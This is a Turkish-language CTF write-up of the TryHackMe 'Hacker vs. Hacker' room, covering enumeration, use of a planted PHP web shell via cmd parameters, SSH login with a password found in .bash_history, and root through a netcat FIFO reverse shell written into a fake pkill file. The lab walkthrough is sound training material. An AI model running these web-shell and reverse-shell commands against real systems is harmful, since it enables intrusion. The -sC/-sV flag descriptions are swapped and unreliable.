CTF : TryHackMe Hacker vs. Hacker

Herkese merhaba. Bugün TryHackMe’de bulunan “Hacker vs. Hacker” odasının çözümünü inceleyeceğiz.

TryHackMe oda linki : https://tryhackme.com/room/hackervshacker

Hazırsanız, hadi başlıyalım. İlk olarak Openvpn bağlantınızın bağlı olduğunu kontrol ediyoruz ve odayı başlatarak hedef makinenin ip adresini alıyoruz. Odanın erişebilir olduğunu kontrol etmek için cmd komut satırı üzerinden “ping makinenın_ip_adresi” ping komutu ile test ediyoruz.

Artık başlayabiliriz. İlk adım olarak makinanın hangi portlarının açık olduğunu öğrenmemiz gerekiyor. Hangi portlar aktif ise ona göre bir saldırı gerçekleştireceğiz. Port tarama konusunda birden fazla araç mevcut. Biz bu araçların içinde en çok kullanılan NMAP aracını kullanacağız.

Komut : nmap -sS -sC -sV hedef_makinenin_ip_adresi

Komut içerisinde kullanmış olduğumuz -sS daha hızlı bir tarama için kullanılır -sV açık olan bir bağlantı noktasında hangi hizmetin çalıştığını belirlemeye çalışır -sC versiyon tespiti yapar.

Nmap taramamız sonucunda hedef makinede iki adet portun açık olduğunu görüyoruz. 22 numaralı port ise SSH bağlantısını işaret ediyor. SSH bağlantısı için şifreye veya private key sahip olmadığımız için şimdilik es geçiyoruz. 80 numaralı port bize bir web sayfasını işaret ediyor.  Hemen kontrol edelim. Bizi bir web  sayfası karşılıyor.

Bizi karşılayan web sayfasının kaynak kodlarını incelediğimiz zaman bazı yorum satırlarını fark ediyorum.

Yorum satırları içerisinde /cvs dizininden bahsediyor. Dizinin bazı güvenlik açıklarına sebep olabileceğinden bahsediyor. Hemen bahsedilen dizine bir bakalım.

Dizin liste dışı olduğunu görüyorum. Başka gizli dizinler olup olmadığını keşfetmek için “Directory Brute-forcing” kullanıyorum.

Komut : gobuster dir -u http://hedef_makinenizin_ip_adresi -w kelime_listenizin_konumu

Gizli bir dizin bulamadık. Web sayfası üzerinde bir ipucu aradığım zaman bir dosya yükleme kısmı olduğunu keşfediyorum. Dosya yükleme kısmını denemek için rasgele bir dosyamı yüklemeyi deniyorum.

Hacker! Eğer kabuğumu yüklememi istemiyorsanız, filtrelemede daha iyi olun. Bir uyarı yazısı ile karşılaşıyoruz. Kabuğa dosya yüklemek için uygun formatı bulmamız gerekiyor.

İlk olarak sayfanın kaynak kodlarına bakıyorum.

Bir ipucu buluyoruz. Hemen Gobuster aracını kullanarak .pdf uzantılı dosya olup olmadığına bakıyorum.

komut : gobuster dir -u http://10.10.65.7/cvs/ -w /usr/share/wordlists/dirbuster/directotry-list-2.3-medium.txt -x pdf.php , php.pdf

Komut içerisinde yazmış olduğum “-x” aranacak dosya uzantısı belirtmek için yazılır.

Gizli bir dizin buluyoruz. Hemen dizine gidelim.

Bağlam olarak “boom!” kullanmak, bilgisayar korsanları bir kabuk elde ettiğinde yaygın bir ifadedir. Şimdi tek yapmamız gereken kodu çalıştırmamızı sağlayacak parametreyi bulmak. Genellikle bu “c” veya “cmd” gibi bir şeydir.

komut = 10.10.65.7/cvs/shell.pdf.php?cmd=ls

Klasik olarak kabuk içerisinde ne olduğunu görmek için “ls” komutunu denedim. Ve kabuk içerisinde “cmd” ile dolaşabileceğimi ve 2 adet dosyaya ulaşmış oldum. Ulaşmış olduğum dosyalar şuan için işime yaramıyor. Kabuk içerisinde araştırmaya devam ediyorum.

komut = 10.10.65.7/cvs/shell.pdf.php?cmd= cd /home/ls

Kabuk içerisinde bir kullanıcıya ulaşıyorum. Kullanıcıya giriş yapıyorum.

komut = 10.10.65.7/cvs/shell.pdf.php?cmd= cd /home/lachlan;ls -al 

Kullanıcı içerisinde dosyaları incelediğimde dikkatimi “user.txt” ve “.bash_history” çekti. Hemen iki dosyayı incelemeye koyuldum.

komut = 10.10.65.7/cvs/shell.pdf.php?cmd= cd /home/lachlan; cat user.txt

User.txt dosyasının içine girdiğimde beni kullanıcı bayrağı karşılıyor. Sıra root bayrağında.

komut = 10.10.65.7/cvs/shell.pdf.php?cmd= cd /home/lachlan;cat .bash_history

.bash_history dosya içerisini baktığımızda bizi önemli ipuçları karşılıyor. İlk ipucu “thisistheway123” bir kullanıcı şifresine benziyor. SSH bağlantısında lachlan kullanıcısı ile bağlanmayı deniyebiliriz. Bunun yanında bir dizin yolu gösteriliyor.

komut : ssh lachlan@10.10.65.7

SSH bağlantısı deniyorum. Şifre doğru kullanıcı girişi oluyor ama beni giriş yaptıktan kısa bir süre sonra atıyor. Atmasının önüne geçmek adına yollar deniyorum.

komut : ssh lachlan@10.10.65.7 -T  ssh lachlan@10.10.65.7 -N 

SSH bağlantısı başarılı. Kullanıcıya geçmek için bazı komutlar çalıştırıyorum. Ama işe yaramıyor.

komut : export TERM=xterm 

Bu komut clear gibi komutları çalıştırmamıza olanak sağlıyor.

İlk başlarda bulduğumuz dizin yoluna gidiyorum. Karşıma bazı kurallar çıkıyor. Bizi SSH bağlantısında neden attığını öğrenmiş oluyoruz. Kurallar içerisinde bir açık aramaya koyuluyorum.

Reverse shell açığı buluyorum.

İlk olarak lachlan kullanıcısına girmemiz gerekiyor. Kullanıcıya girdikten sonra bin dizinine giriyoruz. Bin dizini içerisinde komutumuzu yazıyoruz.

komut : echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.24.104 1234 >/tmp/f” > pkill

Farklı bir komut satırı açarak “nc -lvnp 1234” 1234 portunu dinliyoruz.

Komutumuz pkill adında bir dosya oluşturarak içerini komutumuzu yazıcak. Komut içerisinde kendi IP adresinizi ve dinlediğiniz port numarasına dikkat ediniz.

BİNGO!!! ROOT BAYRAĞINA ulaştık.

About The Author

Reply